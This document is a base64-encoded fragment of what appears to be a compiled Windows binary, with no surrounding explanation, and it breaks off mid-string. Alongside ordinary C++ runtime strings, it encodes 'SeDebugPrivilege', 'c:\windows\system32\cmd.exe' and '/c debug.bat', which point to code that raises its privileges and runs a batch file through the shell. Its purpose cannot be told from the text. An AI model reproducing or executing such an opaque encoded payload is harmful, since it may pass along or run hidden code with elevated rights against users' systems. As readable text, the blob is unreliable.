JwYjI0QUFBQ01nUUFRSUNvQUVHTnpiZUFCQUFBQUFBQUFBQUFBQUFBREFBQUFJQVdUR1FBQUFBQUFBQUFBU0FCSUFEb0FiUUJ0QURvQWN3QnpBQUFBQUFCa0FHUUFaQUJrQUN3QUlBQk5BRTBBVFFCTkFDQUFaQUJrQUN3QUlBQjVBSGtBZVFCNUFBQUFUUUJOQUM4QVpBQmtBQzhBZVFCNUFBQUFBQUJRQUUwQUFBQUFBRUVBVFFBQUFBQUFSQUJsQUdNQVpRQnRBR0lBWlFCeUFBQUFBQUJPQUc4QWRnQmxBRzBBWWdCbEFISUFBQUFBQUU4QVl3QjBBRzhBWWdCbEFISUFBQUJUQUdVQWNBQjBBR1VBYlFCaUFHVUFjZ0FBQUVFQWRRQm5BSFVBY3dCMEFBQUFBQUJLQUhVQWJBQjVBQUFBQUFCS0FIVUFiZ0JsQUFBQUFBQkJBSEFBY2dCcEFHd0FBQUJOQUdFQWNnQmpBR2dBQUFCR0FHVUFZZ0J5QUhVQVlRQnlBSGtBQUFBQUFFb0FZUUJ1QUhVQVlRQnlBSGtBQUFCRUFHVUFZd0FBQUU0QWJ3QjJBQUFBVHdCakFIUUFBQUJUQUdVQWNBQUFBRUVBZFFCbkFBQUFTZ0IxQUd3QUFBQktBSFVBYmdBQUFFMEFZUUI1QUFBQVFRQndBSElBQUFCTkFHRUFjZ0FBQUVZQVpRQmlBQUFBU2dCaEFHNEFBQUJUQUdFQWRBQjFBSElBWkFCaEFIa0FBQUFBQUVZQWNnQnBBR1FBWVFCNUFBQUFBQUJVQUdnQWRRQnlBSE1BWkFCaEFIa0FBQUFBQUZjQVpRQmtBRzRBWlFCekFHUUFZUUI1QUFBQVZBQjFBR1VBY3dCa0FHRUFlUUFBQUUwQWJ3QnVBR1FBWVFCNUFBQUFBQUJUQUhVQWJnQmtBR0VBZVFBQUFBQUFVd0JoQUhRQUFBQkdBSElBYVFBQUFGUUFhQUIxQUFBQVZ3QmxBR1FBQUFCVUFIVUFaUUFBQUUwQWJ3QnVBQUFBVXdCMUFHNEFBQUJJU0RwdGJUcHpjd0FBQUFCa1pHUmtMQ0JOVFUxTklHUmtMQ0I1ZVhsNUFFMU5MMlJrTDNsNUFBQUFBRkJOQUFCQlRRQUFSR1ZqWlcxaVpYSUFBQUFBVG05MlpXMWlaWElBQUFBQVQyTjBiMkpsY2dCVFpYQjBaVzFpWlhJQUFBQkJkV2QxYzNRQUFFcDFiSGtBQUFBQVNuVnVaUUFBQUFCQmNISnBiQUFBQUUxaGNtTm9BQUFBUm1WaWNuVmhjbmtBQUFBQVNtRnVkV0Z5ZVFCRVpXTUFUbTkyQUU5amRBQlRaWEFBUVhWbkFFcDFiQUJLZFc0QVRXRjVBRUZ3Y2dCTllYSUFSbVZpQUVwaGJnQlRZWFIxY21SaGVRQUFBQUJHY21sa1lYa0FBRlJvZFhKelpHRjVBQUFBQUZkbFpHNWxjMlJoZVFBQUFGUjFaWE5rWVhrQVRXOXVaR0Y1QUFCVGRXNWtZWGtBQUZOaGRBQkdjbWtBVkdoMUFGZGxaQUJVZFdVQVRXOXVBRk4xYmdCeUFIVUFiZ0IwQUdrQWJRQmxBQ0FBWlFCeUFISUFid0J5QUNBQUFBQUFBQTBBQ2dBQUFBQUFWQUJNQUU4QVV3QlRBQ0FBWlFCeUFISUFid0J5QUEwQUNnQUFBRk1BU1FCT0FFY0FJQUJsQUhJQWNnQnZBSElBRFFBS0FBQUFBQUJFQUU4QVRRQkJBRWtBVGdBZ0FHVUFjZ0J5QUc4QWNnQU5BQW9BQUFBQUFGSUFOZ0F3QURNQU13QU5BQW9BTFFBZ0FFRUFkQUIwQUdVQWJRQndBSFFBSUFCMEFHOEFJQUIxQUhNQVpRQWdBRTBBVXdCSkFFd0FJQUJqQUc4QVpBQmxBQ0FBWmdCeUFHOEFiUUFnQUhRQWFBQnBBSE1BSUFCaEFITUFjd0JsQUcwQVlnQnNBSGtBSUFCa0FIVUFjZ0JwQUc0QVp3QWdBRzRBWVFCMEFHa0FkZ0JsQUNBQVl3QnZBR1FBWlFBZ0FHa0FiZ0JwQUhRQWFRQmhBR3dBYVFCNkFHRUFkQUJwQUc4QWJnQUtBRlFBYUFCcEFITUFJQUJwQUc0QVpBQnBBR01BWVFCMEFHVUFjd0FnQUdFQUlBQmlBSFVBWndBZ0FHa0FiZ0FnQUhrQWJ3QjFBSElBSUFCaEFIQUFjQUJzQUdrQVl3QmhBSFFBYVFCdkFHNEFMZ0FnQUVrQWRBQWdBR2tBY3dBZ0FHMEFid0J6QUhRQUlBQnNBR2tBYXdCbEFHd0FlUUFnQUhRQWFBQmxBQ0FBY2dCbEFITUFkUUJzQUhRQUlBQnZBR1lBSUFCakFHRUFiQUJzQUdrQWJnQm5BQ0FBWVFCdUFDQUFUUUJUQUVrQVRBQXRBR01BYndCdEFIQUFhUUJzQUdVQVpBQWdBQ2dBTHdCakFHd0FjZ0FwQUNBQVpnQjFBRzRBWXdCMEFHa0Fid0J1QUNBQVpnQnlBRzhBYlFBZ0FHRUFJQUJ1QUdFQWRBQnBBSFlBWlFBZ0FHTUFid0J1QUhNQWRBQnlBSFVBWXdCMEFHOEFjZ0FnQUc4QWNnQWdBR1lBY2dCdkFHMEFJQUJFQUd3QWJBQk5BR0VBYVFCdUFDNEFEUUFLQUFBQUFBQlNBRFlBTUFBekFESUFEUUFLQUMwQUlBQnVBRzhBZEFBZ0FHVUFiZ0J2QUhVQVp3Qm9BQ0FBY3dCd0FHRUFZd0JsQUNBQVpnQnZBSElBSUFCc0FHOEFZd0JoQUd3QVpRQWdBR2tBYmdCbUFHOEFjZ0J0QUdFQWRBQnBBRzhBYmdBTkFBb0FBQUFBQUZJQU5nQXdBRE1BTVFBTkFBb0FMUUFnQUVFQWRBQjBBR1VBYlFCd0FIUUFJQUIwQUc4QUlBQnBBRzRBYVFCMEFHa0FZUUJzQUdrQWVnQmxBQ0FBZEFCb0FHVUFJQUJEQUZJQVZBQWdBRzBBYndCeUFHVUFJQUIwQUdnQVlRQnVBQ0FBYndCdUFHTUFaUUF1QUFvQVZBQm9BR2tBY3dBZ0FHa0FiZ0JrQUdrQVl3QmhBSFFBWlFCekFDQUFZUUFnQUdJQWRRQm5BQ0FBYVFCdUFDQUFlUUJ2QUhVQWNnQWdBR0VBY0FCd0FHd0FhUUJqQUdFQWRBQnBBRzhBYmdBdUFBMEFDZ0FBQUFBQVVnQTJBREFBTXdBd0FBMEFDZ0F0QUNBQVF3QlNBRlFBSUFCdUFHOEFkQUFnQUdrQWJnQnBBSFFBYVFCaEFHd0FhUUI2QUdVQVpBQU5BQW9BQUFBQUFGSUFOZ0F3QURJQU9BQU5BQW9BTFFBZ0FIVUFiZ0JoQUdJQWJBQmxBQ0FBZEFCdkFDQUFhUUJ1QUdrQWRBQnBBR0VBYkFCcEFIb0FaUUFnQUdnQVpRQmhBSEFBRFFBS0FBQUFBQUFBQUFBQVVnQTJBREFBTWdBM0FBMEFDZ0F0QUNBQWJnQnZBSFFBSUFCbEFHNEFid0IxQUdjQWFBQWdBSE1BY0FCaEFHTUFaUUFnQUdZQWJ3QnlBQ0FBYkFCdkFIY0FhUUJ2QUNBQWFRQnVBR2tBZEFCcEFHRUFiQUJwQUhvQVlRQjBBR2tBYndCdUFBMEFDZ0FBQUFBQUFBQUFBRklBTmdBd0FESUFOZ0FOQUFvQUxRQWdBRzRBYndCMEFDQUFaUUJ1QUc4QWRRQm5BR2dBSUFCekFIQUFZUUJqQUdVQUlBQm1BRzhBY2dBZ0FITUFkQUJrQUdrQWJ3QWdBR2tBYmdCcEFIUUFhUUJoQUd3QWFRQjZBR0VBZEFCcEFHOEFiZ0FOQUFvQUFBQUFBQUFBQUFCU0FEWUFNQUF5QURVQURRQUtBQzBBSUFCd0FIVUFjZ0JsQUNBQWRnQnBBSElBZEFCMUFHRUFiQUFnQUdZQWRRQnVBR01BZEFCcEFHOEFiZ0FnQUdNQVlRQnNBR3dBRFFBS0FBQUFBQUFBQUZJQU5nQXdBRElBTkFBTkFBb0FMUUFnQUc0QWJ3QjBBQ0FBWlFCdUFHOEFkUUJuQUdnQUlBQnpBSEFBWVFCakFHVUFJQUJtQUc4QWNnQWdBRjhBYndCdUFHVUFlQUJwQUhRQUx3QmhBSFFBWlFCNEFHa0FkQUFnQUhRQVlRQmlBR3dBWlFBTkFBb0FBQUFBQUFBQUFBQlNBRFlBTUFBeEFEa0FEUUFLQUMwQUlBQjFBRzRBWVFCaUFHd0FaUUFnQUhRQWJ3QWdBRzhBY0FCbEFHNEFJQUJqQUc4QWJnQnpBRzhBYkFCbEFDQUFaQUJsQUhZQWFRQmpBR1VBRFFBS0FBQUFBQUFBQUFBQVVnQTJBREFBTVFBNEFBMEFDZ0F0QUNBQWRRQnVBR1VBZUFCd0FHVUFZd0IwQUdVQVpBQWdBR2dBWlFCaEFIQUFJQUJsQUhJQWNnQnZBSElBRFFBS0FBQUFBQUFBQUFBQVVnQTJBREFBTVFBM0FBMEFDZ0F0QUNBQWRRQnVBR1VBZUFCd0FHVUFZd0IwQUdVQVpBQWdBRzBBZFFCc0FIUUFhUUIwQUdnQWNnQmxBR0VBWkFBZ0FHd0Fid0JqQUdzQUlBQmxBSElBY2dCdkFISUFEUUFLQUFBQUFBQUFBQUFBVWdBMkFEQUFNUUEyQUEwQUNnQXRBQ0FBYmdCdkFIUUFJQUJsQUc0QWJ3QjFBR2NBYUFBZ0FITUFjQUJoQUdNQVpRQWdBR1lBYndCeUFDQUFkQUJvQUhJQVpRQmhBR1FBSUFCa0FHRUFkQUJoQUEwQUNnQUFBRklBTmdBd0FERUFNQUFOQUFvQUxRQWdBR0VBWWdCdkFISUFkQUFvQUNrQUlBQm9BR0VBY3dBZ0FHSUFaUUJsQUc0QUlBQmpBR0VBYkFCc0FHVUFaQUFOQUFvQUFBQUFBRklBTmdBd0FEQUFPUUFOQUFvQUxRQWdBRzRBYndCMEFDQUFaUUJ1QUc4QWRRQm5BR2dBSUFCekFIQUFZUUJqQUdVQUlBQm1BRzhBY2dBZ0FHVUFiZ0IyQUdrQWNnQnZBRzRBYlFCbEFHNEFkQUFOQUFvQUFBQlNBRFlBTUFBd0FEZ0FEUUFLQUMwQUlBQnVBRzhBZEFBZ0FHVUFiZ0J2QUhVQVp3Qm9BQ0FBY3dCd0FHRUFZd0JsQUNBQVpnQnZBSElBSUFCaEFISUFad0IxQUcwQVpRQnVBSFFBY3dBTkFBb0FBQUFBQUFBQVVnQTJBREFBTUFBeUFBMEFDZ0F0QUNBQVpnQnNBRzhBWVFCMEFHa0FiZ0JuQUNBQWNBQnZBR2tBYmdCMEFDQUFjd0IxQUhBQWNBQnZBSElBZEFBZ0FHNEFid0IwQUNBQWJBQnZBR0VBWkFCbEFHUUFEUUFLQUFBQUFBQUFBQUFBQWdBQUFDQnVBQkFJQUFBQXlHMEFFQWtBQUFCd2JRQVFDZ0FBQUNodEFCQVFBQUFBMEd3QUVCRUFBQUJ3YkFBUUVnQUFBQ2hzQUJBVEFBQUEwR3NBRUJnQUFBQmdhd0FRR1FBQUFCQnJBQkFhQUFBQW9Hb0FFQnNBQUFBd2FnQVFIQUFBQU9CcEFCQWVBQUFBb0drQUVCOEFBQURZYUFBUUlBQUFBSEJvQUJBaEFBQUFnR1lBRUhnQUFBQmdaZ0FRZVFBQUFFUm1BQkI2QUFBQUtHWUFFUHdBQUFBZ1pnQVEvd0FBQUFCbUFCQk5BR2tBWXdCeUFHOEFjd0J2QUdZQWRBQWdBRllBYVFCekFIVUFZUUJzQUNBQVF3QXJBQ3NBSUFCU0FIVUFiZ0IwQUdrQWJRQmxBQ0FBVEFCcEFHSUFjZ0JoQUhJQWVRQUFBQUFBQ2dBS0FBQUFBQUF1QUM0QUxnQUFBRHdBY0FCeUFHOEFad0J5QUdFQWJRQWdBRzRBWVFCdEFHVUFJQUIxQUc0QWF3QnVBRzhBZHdCdUFENEFBQUFBQUZJQWRRQnVBSFFBYVFCdEFHVUFJQUJGQUhJQWNnQnZBSElBSVFBS0FBb0FVQUJ5QUc4QVp3QnlBR0VBYlFBNkFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUtBQW9BQ2dBS0FBb0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FFZ0FFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFBaEFDRUFJUUFoQUNFQUlRQWhBQ0VBSVFBaEFBUUFCQUFFQUFRQUJBQUVBQVFBSUVBZ1FDQkFJRUFnUUNCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQVFBQkFBRUFBUUFCQUFFQUNDQUlJQWdnQ0NBSUlBZ2dBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFFQUFRQUJBQUVBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FHZ0FLQUFvQUNnQUtBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQklBQkFBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQUlRQWhBQ0VBSVFBaEFDRUFJUUFoQUNFQUlRQUVBQVFBQkFBRUFBUUFCQUFFQUNCQVlFQmdRR0JBWUVCZ1FFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJFQUFRQUJBQUVBQVFBQkFBZ2dHQ0FZSUJnZ0dDQVlJQkFnRUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkFnRUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkFnRUNBUkFBRUFBUUFCQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBU0FBUUFCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFBRkFBVUFCQUFFQUFRQUJBQUVBQVVBQkFBRUFBUUFCQUFFQUFRQUFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFUUFBRUJBUUVCQVFFQkFRRUJBUUVCQWdFQ0FRSUJBZ0VDQVFJQkFnRUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkFnRUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkVBQUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkFRRUFBQUFBZ0lHQ2c0U0Zob2VJaVlxTGpJMk9qNUNSa3BPVWxaYVhtSm1hbTV5ZG5wK2dvYUtqcEtXbXA2aXBxcXVzcmE2dnNMR3lzN1MxdHJlNHVicTd2TDIrdjhEQndzUEV4Y2JIeU1uS3k4ek56cy9RMGRMVDFOWFcxOWpaMnR2YzNkN2Y0T0hpNCtUbDV1Zm82ZXJyN08zdTcvRHg4dlAwOWZiMytQbjYrL3o5L3Y4QUFRSURCQVVHQndnSkNnc01EUTRQRUJFU0V4UVZGaGNZR1JvYkhCMGVIeUFoSWlNa0pTWW5LQ2txS3l3dExpOHdNVEl6TkRVMk56ZzVPanM4UFQ0L1FHRmlZMlJsWm1kb2FXcHJiRzF1YjNCeGNuTjBkWFozZUhsNlcxeGRYbDlnWVdKalpHVm1aMmhwYW10c2JXNXZjSEZ5YzNSMWRuZDRlWHA3ZkgxK2Y0Q0Jnb09FaFlhSGlJbUtpNHlOam8rUWtaS1RsSldXbDVpWm1wdWNuWjZmb0tHaW82U2xwcWVvcWFxcnJLMnVyN0N4c3JPMHRiYTN1TG02dTd5OXZyL0F3Y0xEeE1YR3g4akp5c3ZNemM3UDBOSFMwOVRWMXRmWTJkcmIzTjNlMytEaDR1UGs1ZWJuNk9ucTYrenQ3dS93OGZMejlQWDI5L2o1K3Z2OC9mNy9nSUdDZzRTRmhvZUlpWXFMakkyT2o1Q1JrcE9VbFphWG1KbWFtNXlkbnArZ29hS2pwS1dtcDZpcHFxdXNyYTZ2c0xHeXM3UzF0cmU0dWJxN3ZMMit2OERCd3NQRXhjYkh5TW5LeTh6TnpzL1EwZExUMU5YVzE5aloydHZjM2Q3ZjRPSGk0K1RsNXVmbzZlcnI3TzN1Ny9EeDh2UDA5ZmIzK1BuNisvejkvdjhBQVFJREJBVUdCd2dKQ2dzTURRNFBFQkVTRXhRVkZoY1lHUm9iSEIwZUh5QWhJaU1rSlNZbktDa3FLeXd0TGk4d01USXpORFUyTnpnNU9qczhQVDQvUUVGQ1EwUkZSa2RJU1VwTFRFMU9UMUJSVWxOVVZWWlhXRmxhVzF4ZFhsOWdRVUpEUkVWR1IwaEpTa3RNVFU1UFVGRlNVMVJWVmxkWVdWcDdmSDErZjRDQmdvT0VoWWFIaUltS2k0eU5qbytRa1pLVGxKV1dsNWlabXB1Y25aNmZvS0dpbzZTbHBxZW9xYXFycksydXI3Q3hzck8wdGJhM3VMbTZ1N3k5dnIvQXdjTER4TVhHeDhqSnlzdk16YzdQME5IUzA5VFYxdGZZMmRyYjNOM2UzK0RoNHVQazVlYm42T25xNit6dDd1L3c4Zkx6OVBYMjkvajUrdnY4L2Y3L1IyVjBVSEp2WTJWemMxZHBibVJ2ZDFOMFlYUnBiMjRBUjJWMFZYTmxjazlpYW1WamRFbHVabTl5YldGMGFXOXVWd0FBQUVkbGRFeGhjM1JCWTNScGRtVlFiM0IxY0FBQVIyVjBRV04wYVhabFYybHVaRzkzQUUxbGMzTmhaMlZDYjNoWEFGVUFVd0JGQUZJQU13QXlBQzRBUkFCTUFFd0FBQUFBQUNCRGIyMXdiR1YwWlNCUFltcGxZM1FnVEc5allYUnZjaWNBQUFBZ1EyeGhjM01nU0dsbGNtRnlZMmg1SUVSbGMyTnlhWEIwYjNJbkFBQUFBQ0JDWVhObElFTnNZWE56SUVGeWNtRjVKd0FBSUVKaGMyVWdRMnhoYzNNZ1JHVnpZM0pwY0hSdmNpQmhkQ0FvQUNCVWVYQmxJRVJsYzJOeWFYQjBiM0luQUFBQVlHeHZZMkZzSUhOMFlYUnBZeUIwYUhKbFlXUWdaM1ZoY21RbkFHQnRZVzVoWjJWa0lIWmxZM1J2Y2lCamIzQjVJR052Ym5OMGNuVmpkRzl5SUdsMFpYSmhkRzl5SndBQVlIWmxZM1J2Y2lCMlltRnpaU0JqYjNCNUlHTnZibk4wY25WamRHOXlJR2wwWlhKaGRHOXlKd0FBQUFCZ2RtVmpkRzl5SUdOdmNIa2dZMjl1YzNSeWRXTjBiM0lnYVhSbGNtRjBiM0luQUFCZ1pIbHVZVzFwWXlCaGRHVjRhWFFnWkdWemRISjFZM1J2Y2lCbWIzSWdKd0FBQUFCZ1pIbHVZVzFwWXlCcGJtbDBhV0ZzYVhwbGNpQm1iM0lnSndBQVlHVm9JSFpsWTNSdmNpQjJZbUZ6WlNCamIzQjVJR052Ym5OMGNuVmpkRzl5SUdsMFpYSmhkRzl5SndCZ1pXZ2dkbVZqZEc5eUlHTnZjSGtnWTI5dWMzUnlkV04wYjNJZ2FYUmxjbUYwYjNJbkFBQUFZRzFoYm1GblpXUWdkbVZqZEc5eUlHUmxjM1J5ZFdOMGIzSWdhWFJsY21GMGIzSW5BQUFBQUdCdFlXNWhaMlZrSUhabFkzUnZjaUJqYjI1emRISjFZM1J2Y2lCcGRHVnlZWFJ2Y2ljQUFBQmdjR3hoWTJWdFpXNTBJR1JsYkdWMFpWdGRJR05zYjNOMWNtVW5BQUFBQUdCd2JHRmpaVzFsYm5RZ1pHVnNaWFJsSUdOc2IzTjFjbVVuQUFCZ2IyMXVhU0JqWVd4c2MybG5Kd0FBSUdSbGJHVjBaVnRkQUFBQUlHNWxkMXRkQUFCZ2JHOWpZV3dnZG1aMFlXSnNaU0JqYjI1emRISjFZM1J2Y2lCamJHOXpkWEpsSndCZ2JHOWpZV3dnZG1aMFlXSnNaU2NBWUZKVVZFa0FBQUJnUlVnQVlIVmtkQ0J5WlhSMWNtNXBibWNuQUdCamIzQjVJR052Ym5OMGNuVmpkRzl5SUdOc2IzTjFjbVVuQUFCZ1pXZ2dkbVZqZEc5eUlIWmlZWE5sSUdOdmJuTjBjblZqZEc5eUlHbDBaWEpoZEc5eUp3QUFZR1ZvSUhabFkzUnZjaUJrWlhOMGNuVmpkRzl5SUdsMFpYSmhkRzl5SndCZ1pXZ2dkbVZqZEc5eUlHTnZibk4wY25WamRHOXlJR2wwWlhKaGRHOXlKd0FBQUFCZ2RtbHlkSFZoYkNCa2FYTndiR0ZqWlcxbGJuUWdiV0Z3SndBQVlIWmxZM1J2Y2lCMlltRnpaU0JqYjI1emRISjFZM1J2Y2lCcGRHVnlZWFJ2Y2ljQVlIWmxZM1J2Y2lCa1pYTjBjblZqZEc5eUlHbDBaWEpoZEc5eUp3QUFBQUJnZG1WamRHOXlJR052Ym5OMGNuVmpkRzl5SUdsMFpYSmhkRzl5SndBQUFHQnpZMkZzWVhJZ1pHVnNaWFJwYm1jZ1pHVnpkSEoxWTNSdmNpY0FBQUFBWUdSbFptRjFiSFFnWTI5dWMzUnlkV04wYjNJZ1kyeHZjM1Z5WlNjQUFBQmdkbVZqZEc5eUlHUmxiR1YwYVc1bklHUmxjM1J5ZFdOMGIzSW5BQUFBQUdCMlltRnpaU0JrWlhOMGNuVmpkRzl5SndBQVlITjBjbWx1WnljQUFBQUFZR3h2WTJGc0lITjBZWFJwWXlCbmRXRnlaQ2NBQUFBQVlIUjVjR1Z2WmljQUFBQUFZSFpqWVd4c0p3QmdkbUowWVdKc1pTY0FBQUJnZG1aMFlXSnNaU2NBQUFCZVBRQUFmRDBBQUNZOUFBQThQRDBBUGo0OUFDVTlBQUF2UFFBQUxUMEFBQ3M5QUFBcVBRQUFmSHdBQUNZbUFBQjhBQUFBWGdBQUFINEFBQUFvS1FBQUxBQUFBRDQ5QUFBK0FBQUFQRDBBQUR3QUFBQWxBQUFBTHdBQUFDMCtLZ0FtQUFBQUt3QUFBQzBBQUFBdExRQUFLeXNBQUNvQUFBQXRQZ0FBYjNCbGNtRjBiM0lBQUFBQVcxMEFBQ0U5QUFBOVBRQUFJUUFBQUR3OEFBQStQZ0FBUFFBQUFDQmtaV3hsZEdVQUlHNWxkd0FBQUFCZlgzVnVZV3hwWjI1bFpBQmZYM0psYzNSeWFXTjBBQUJmWDNCMGNqWTBBRjlmWldGaWFRQUFYMTlqYkhKallXeHNBQUFBWDE5bVlYTjBZMkZzYkFBQVgxOTBhR2x6WTJGc2JBQUFYMTl6ZEdSallXeHNBQUFBWDE5d1lYTmpZV3dBQUFBQVgxOWpaR1ZqYkFCZlgySmhjMlZrS0FBQUFBQU1mZ0FRQkg0QUVQaDlBQkRzZlFBUTRIMEFFTlI5QUJESWZRQVF3SDBBRUxoOUFCQ3NmUUFRb0gwQUVKMTlBQkNZZlFBUWtIMEFFSXg5QUJDSWZRQVFoSDBBRUlCOUFCQjhmUUFRZUgwQUVIUjlBQkJvZlFBUVpIMEFFR0I5QUJCY2ZRQVFXSDBBRUZSOUFCQlFmUUFRVEgwQUVFaDlBQkJFZlFBUVFIMEFFRHg5QUJBNGZRQVFOSDBBRURCOUFCQXNmUUFRS0gwQUVDUjlBQkFnZlFBUUhIMEFFQmg5QUJBVWZRQVFFSDBBRUF4OUFCQUlmUUFRQkgwQUVBQjlBQkQ4ZkFBUStId0FFUFI4QUJEd2ZBQVE3SHdBRU9COEFCRFVmQUFRekh3QUVNQjhBQkNvZkFBUW5Id0FFSWg4QUJCb2ZBQVFTSHdBRUNoOEFCQUlmQUFRNkhzQUVNUjdBQkNvZXdBUWhIc0FFR1I3QUJBOGV3QVFJSHNBRUJCN0FCQU1ld0FRQkhzQUVQUjZBQkRRZWdBUXlIb0FFTHg2QUJDc2VnQVFrSG9BRUhCNkFCQkllZ0FRSUhvQUVQaDVBQkRNZVFBUXNIa0FFSXg1QUJCb2VRQVFQSGtBRUJCNUFCRDBlQUFRblgwQUVPQjRBQkRFZUFBUXNIZ0FFSkI0QUJCMGVBQVFBQUFBQUFFQ0F3UUZCZ2NJQ1FvTERBME9EeEFSRWhNVUZSWVhHQmthR3h3ZEhoOGdJU0lqSkNVbUp5Z3BLaXNzTFM0dk1ERXlNelExTmpjNE9UbzdQRDArUDBCQlFrTkVSVVpIU0VsS1MweE5UazlRVVZKVFZGVldWMWhaV2x0Y1hWNWZZR0ZpWTJSbFptZG9hV3ByYkcxdWIzQnhjbk4wZFhaM2VIbDZlM3g5Zm44QVUyVkVaV0oxWjFCeWFYWnBiR1ZuWlFBQUFBQUFBQUFBTDJNZ1pHVmlkV2N1WW1GMElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FBQUFBQVl6cGNkMmx1Wkc5M2MxeHplWE4wWlcwek1seGpiV1F1WlhobEFHOXdaVzRBQUFBQVNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUpBQUVPQ0JBQkFEQUFBQUFBQUFBQUFBQUFBQUFBQUFDSkFBRUF5QkFCQUFBQUFBQUFBQUFBSUFBQUFjZ1FBUUtJRUFFRVNCQUJBQUFBQUFDSkFBRUFFQUFBQUFBQUFBLy8vLy93QUFBQUJBQUFBQURJRUFFQ1NRQUJBQUFBQUFBQUFBQVAvLy8vOEFBQUFBUUFBQUFHQ0JBQkFBQUFBQUFBQUFBQUVBQUFCd2dRQVFSSUVBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFra0FBUVlJRUFFQUFBQUFBQUFBQUFBQUFBQUpDUUFCQ2dnUUFRQUFBQUFBQUFBQUFCQUFBQXNJRUFFTGlCQUJBQUFBQUFrSkFBRUFBQUFBQUFBQUFBLy8vLy93QUFBQUJBQUFBQW9JRUFFQUFBQUFBQUFBQUFBQUFBQUdBbEFBRHdRd0FBRUZZQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEvdi8vL3dBQUFBRFkvLy8vQUFBQUFQNy8vLzhBQUFBQTJSRUFFQUFBQUFEKy8vLy9BQUFBQU5ULy8vOEFBQUFBL3YvLy96a1RBQkJLRXdBUUFBQUFBSVVVQUJBQUFBQUFUSUlBRUFJQUFBQllnZ0FRZElJQUVBQUFBQUFJa0FBUUFBQUFBUC8vLy84QUFBQUFEQUFBQUxjVUFCQUFBQUFBSkpBQUVBQUFBQUQvLy8vL0FBQUFBQXdBQUFEcktRQVEvdi8vL3dBQUFBRFkvLy8vQUFBQUFQNy8vLzhBQUFBQWN4WUFFUDcvLy84QUFBQUFnaFlBRVA3Ly8vOEFBQUFBMlAvLy93QUFBQUQrLy8vL0FBQUFBRFVZQUJEKy8vLy9BQUFBQUVFWUFCRCsvLy8vQUFBQUFNRC8vLzhBQUFBQS92Ly8vd0FBQUFDOUhRQVFBQUFBQVA3Ly8vOEFBQUFBMVAvLy93QUFBQUQrLy8vL0FBQUFBR2tyQUJBQUFBQUEvdi8vL3dBQUFBRFUvLy8vQUFBQUFQNy8vLzhBQUFBQURpNEFFQUFBQUFEKy8vLy9BQUFBQU5ULy8vOEFBQUFBL3YvLy93QUFBQUIzTVFBUUFBQUFBUDcvLy84QUFBQUExUC8vL3dBQU